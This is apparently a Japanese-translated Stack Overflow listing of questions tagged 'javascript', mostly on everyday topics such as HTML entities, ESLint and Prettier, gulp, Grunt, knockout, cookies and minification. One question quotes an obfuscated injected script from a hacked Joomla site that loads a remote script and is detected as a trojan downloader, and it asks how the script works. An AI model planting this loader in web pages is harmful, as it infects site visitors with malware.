タグ付けされた質問 「javascript」

ECMAScript(JavaScript / JS)とそのさまざまな方言/実装(ActionScriptを除く)でのプログラミングに関する質問。このタグが単独で使用されることはほとんどありませんが、ほとんどの場合、[node.js]、[jquery]、[json]、および[html]タグに関連付けられています。

15
HTMLエンティティをJavaScriptでエンコードする
私はユーザーがコンテンツを入力できるCMSで働いています。問題は、記号を追加する®と、すべてのブラウザでうまく表示されない可能性があることです。検索して、対応するhtmlエンティティに変換する必要のあるシンボルのリストを設定したいと思います。例えば ®=> ® &=> & ©=> © ™=>™ 変換後、<sup>タグでラップする必要があります。その結果、次のようになります。 ® => <sup>®</sup> 特定のフォントサイズとパディングスタイルが必要なため: sup { font-size: 0.6em; padding-top: 0.2em; } JavaScriptはこのようなものでしょうか? var regs = document.querySelectorAll('®'); for ( var i = 0, l = imgs.length; i < l; ++i ) { var [?] = regs[i]; var [?] = document.createElement('sup'); img.parentNode.insertBefore([?]); div.appendChild([?]); …
100 javascript  html 

1
prettier-eslint、eslint-plugin-prettier、eslint-config-prettierの違いは何ですか?
PrettierとESLintを一緒に使いたいのですが、次々と使うだけでコンフリクトが発生しました。タンデムで使用できるように見える次の3つのパッケージがあることがわかります。 prettier-eslint eslint-plugin-prettier eslint-config-prettier しかし、私はすべて含まれているこれらのパッケージ名として使用するか不明だeslintとprettier。 どちらを使うべきですか?



8
このサイト感染スクリプトはどのように機能しますか?
私のJoomla!ウェブサイトは繰り返しハッキングされています。誰かが、どういうわけか、次のゴミを主要なphpスクリプトに挿入できましたが、私はJoomlaの設定について話すつもりはありません。サイトはあまり訪問されておらず(私がそのサイトへの唯一の訪問者である可能性があることを恐れる場合があります...)、サイトをバックアップして実行することにあまり関心がありません。最終的にはそれを処理します。 私の質問は、このゴミはどのように機能するのですか?私はそれを見て、これがどのようにして害を及ぼすことができるのかわかりません。トロイの木馬に感染したChangeLog.pdfと呼ばれるPDFファイルをダウンロードしようとすると、Acrobatがフリーズし、マシンに大混乱が生じます。それはどのように行われますか、わかりません。気にしません。しかし、次のスクリプトはどのようにダウンロードを呼び出しますか? <script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script> <!--6f471c20c9b96fed179c85ffdd3365cf--> ESETはこのコードをJS / TrojanDownloader.Agent.NROトロイの木馬として検出しました

13
送信ボタンのonclickイベントでフォームの送信をキャンセルするにはどうすればよいですか?
ASP.net Webアプリケーションに取り組んでいます。 送信ボタン付きのフォームがあります。送信ボタンのコードはのようになります<input type='submit' value='submit request' onclick='btnClick();'>。 私は次のようなものを書きたいです: function btnClick() { if (!validData()) cancelFormSubmission(); } どうすればよいですか?

4
Gulp.jsとグロビングパターンを使用して、ファイルを同じ場所(同じ宛先)に変更します。
(gulp-ruby-sassを使用して).scssファイルを.cssファイルに変換し、結果の.cssファイルを元のファイルと同じ場所に配置しようとしているgulpタスクがあります。問題は、グロビングパターンを使用しているため、元のファイルがどこに保存されているかが必ずしもわからないことです。 以下のコードでは、gulp-tapを使用してストリームをタップし、ストリームが読み取られた現在のファイルのファイルパスを把握しようとしています。 gulp.task('convertSass', function() { var fileLocation = ""; gulp.src("sass/**/*.scss") .pipe(sass()) .pipe(tap(function(file,t){ fileLocation = path.dirname(file.path); console.log(fileLocation); })) .pipe(gulp.dest(fileLocation)); }); の出力に基づいてconsole.log(fileLocation)、このコードは正常に動作するようです。ただし、結果のCSSファイルは、予想よりも1つ上位のディレクトリに配置されるようです。本来あるべき場所ではproject/sass/partials、結果のファイルパスはただproject/partialsです。 これを行うためのはるかに単純な方法がある場合、私は間違いなくその解決策をさらに感謝します。ありがとう!

13
jQueryポップアップバブル/ツールチップ[終了]
閉まっている。この質問はスタックオーバーフローのガイドラインを満たしていません。現在、回答を受け付けていません。 この質問を改善してみませんか?Stack Overflowのトピックとなるように質問を更新します。 5年前に閉鎖。 この質問を改善する onmouseoverイベントが発生したときにポップアップできる「バブル」を作成しようとしています。イベントをスローしたアイテムonmouseoverの上にマウスがあるか、マウスがバブルに移動した場合、開いたままになります。私のバブルには、ハイパーリンクや画像など、HTMLとスタイルのすべての方法が必要です。 基本的にこれを約200行の醜いJavaScriptを書くことで達成しましたが、jQueryプラグイン、またはこれを少し整理する他の方法を本当に見つけたいです。
99 javascript  jquery  html  css 

4
ko.applyBindingsを呼び出すときに「nullのプロパティ 'nodeType'を読み取れません」を取得する
私はこのノックアウトコードを持っています: function Task(data) { this.title = ko.observable(data.title); this.isDone = ko.observable(data.isDone); } function TaskListViewModel() { // Data var self = this; self.tasks = ko.observableArray([]); self.newTaskText = ko.observable(); self.incompleteTasks = ko.computed(function() { return ko.utils.arrayFilter(self.tasks(), function(task) { return !task.isDone() }); }); // Operations self.addTask = function() { self.tasks.push(new Task({ title: this.newTaskText() })); self.newTaskText(""); …

9
JavaScriptを介してCSS:hover効果を無効にできますか?
:hoverJavaScriptを介して、ブラウザーがCSS の効果を使用できないようにしています。 JSが利用できない場合にホバー効果が必要なため、CSSでaとa:hoverスタイルを設定しました。しかし、JS が利用可能な場合、CSSのホバー効果をより滑らかなもので上書きしたい(たとえば、jQuery colorプラグインを使用)。 私はこれを試しました: $("ul#mainFilter a").hover( function(e){ e.preventDefault(); ...do my stuff... }, function(e){ e.preventDefault(); ...do my stuff... }); 私もで試しましたがreturn false;、うまくいきません。 これが私の問題の例です:http : //jsfiddle.net/4rEzz/。リンクは灰色になることなく消えるはずです。 fudgeyが述べたように、回避策はを使用してホバースタイルをリセットすることです.css()が、CSSで指定されているすべてのプロパティを上書きする必要があります(ここを参照:http : //jsfiddle.net/raPeX/1/)。一般的な解決策を探しています。 誰でもこれを行う方法を知っていますか? PS:ホバーに設定したすべてのスタイルを上書きしたくありません。
99 javascript  jquery  css 

5
複数のCSSおよびJavaScriptファイルをGrunt.js(0.3.x)で連結および縮小する方法
注:この質問はGrunt 0.3.xにのみ関連し、参照用に残されています。最新のGrunt 1.xリリースのヘルプについては、この質問の下の私のコメントを参照してください。 私は現在、Grunt.jsを使用して、最初にCSSファイルとJavaScriptファイルを連結してから縮小する自動ビルドプロセスをセットアップしようとしています。 JavaScriptファイルを正常に連結および縮小できましたが、gruntを実行するたびに、ファイルを上書きするのではなく、ファイルに追加するだけのようです。 CSSの縮小または連結については、まだこれを行うことができません。 不快なCSSモジュールの観点からconsolidate-css、grunt-css&を使用してみましcssminたが、役に立ちませんでした。それらを使用する方法について私の頭を得ることができませんでした! 私のディレクトリ構造は次のとおりです(典型的なnode.jsアプリケーションです): app.js grunt.js /public/index.html / public / css / [さまざまなcssファイル] / public / js / [さまざまなJavaScriptファイル] アプリケーションのルートフォルダーにあるgrunt.jsファイルは現在次のようになります。 module.exports = function(grunt) { // Project configuration. grunt.initConfig({ pkg: '<json:package.json>', concat: { dist: { src: 'public/js/*.js', dest: 'public/js/concat.js' } }, min: { dist: { src: 'public/js/concat.js', …


8
jQueryはブラウザにCookieを読み書きできますか?
簡単な例:ページにいくつかの項目(divやテーブルの行など)を置き、ユーザーがそれらをクリックして選択できるようにしたいとします。jQueryではそれは十分簡単に​​思えます。ユーザーがクリックしたアイテムをサーバー側のポストバックなしで保存するために、私はCookieがこれを行う簡単な方法になると考えていました。 この場合、クッキーは大丈夫だというこの仮定は正しいですか? 正しい場合、jQuery APIには、デフォルトのJavaScript APIよりも優れたCookie情報を読み書きする方法がありますか?

8
JavaScriptコードを「縮小」する方法
JQueryには2つのダウンロードバージョンがあり、1つは製品版(19KB、縮小およびGzip圧縮)で、もう1つは開発版(120KB、非圧縮コード)です。 これでコンパクトな19kbバージョンです。ダウンロードすると、まだJavaScript実行可能コードであることがわかります。彼らはどのようにそれをコンパクトにしたのですか?そして、どうすればそのようにコードを「縮小」することができますか?
99 javascript  gzip 

14
単一ページのJavaScript Webアプリケーションのアーキテクチャ?
複雑な単一ページのJS Webアプリケーションをクライアント側でどのように構成する必要がありますか?具体的には、モデルオブジェクト、UIコンポーネント、コントローラー、サーバーの永続性を処理するオブジェクトの観点から、アプリケーションをきれいに構造化する方法に興味があります。 MVCは最初は適合しているように見えました。しかし、UIコンポーネントがさまざまな深さでネストされている場合(それぞれが独自の方法でデータをモデル化するために作用/反応し、それぞれがイベントを生成して、それら自体が直接処理する場合と処理しない場合があります)、MVCをきれいに適用できるようには見えません。(ただし、そうでない場合は修正してください。) - (この質問の結果、ajaxの使用に関する 2つの提案が出されました。これは、最も簡単な1ページアプリ以外には明らかに必要です。)

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.